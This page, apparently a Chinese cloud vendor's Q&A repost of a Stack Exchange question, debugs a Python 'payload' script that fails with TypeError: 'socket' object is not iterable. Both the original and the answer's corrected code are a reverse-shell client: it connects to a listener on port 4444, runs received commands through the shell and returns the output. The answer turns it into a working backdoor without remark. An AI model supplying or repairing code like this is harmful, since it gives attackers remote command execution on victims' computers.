You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python远程命令执行程序报错:TypeError: 'socket'对象不可迭代

远程命令执行Python脚本报错解决

问题概述

编写了一个通过Socket执行远程系统命令的Python脚本,在终端输入待执行命令时触发错误。

原代码

import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")

while True:
    cmd = payload.recv(2048)
    if cmd == 'exit':
        payload.close()
        break
    cmd = cmd.decode('utf-8')
    output = subprocess.check_output(payload, shell=True)
    payload.send(output)

报错信息

Traceback (most recent call last):
  File "C:\Users\Wasii\Desktop\python-payload\payload.py", line 13, in <module>
    output = subprocess.check_output(payload, shell=True)
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 420, in check_output
    return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 501, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 966, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 1375, in _execute_child
    args = list2cmdline(args)
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 561, in list2cmdline
    for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable

错误原因

核心错误是subprocess.check_output()的参数传错了——你把socket对象payload传给了这个方法,但它需要的是要执行的命令字符串,也就是从socket接收并解码后的cmd变量。

另外还有两个隐性问题:

  • 接收的cmd是字节流,直接和字符串'exit'比较永远不成立,需要先解码再判断
  • 命令执行出错时check_output会抛出异常,导致脚本直接崩溃,没有容错处理

修复后的代码

import socket
import subprocess
from subprocess import CalledProcessError

payload = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
payload.connect(("localhost", 4444))
print("Successfully, Connected..!!")

while True:
    cmd_bytes = payload.recv(2048)
    if not cmd_bytes:
        # 连接断开时退出循环
        break
    cmd = cmd_bytes.decode('utf-8').strip()  # 去除命令中的多余换行/空格
    if cmd == 'exit':
        payload.close()
        break
    try:
        # 传入正确的命令字符串cmd,同时捕获错误输出
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
    except CalledProcessError as e:
        # 命令执行失败时返回错误输出
        output = e.output
    except Exception as e:
        # 其他异常转为字节流返回
        output = str(e).encode('utf-8')
    payload.send(output)

关键修正点

  1. 将subprocess.check_output()的参数改为解码后的命令字符串cmd
  2. 调整exit判断逻辑,先解码再比较,同时清理命令中的空白字符
  3. 添加异常捕获,处理命令执行失败的情况,避免脚本崩溃
  4. 将错误输出也包含到返回结果中,方便排查问题

内容的提问来源于stack exchange,提问作者Momna

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.18 00:15:45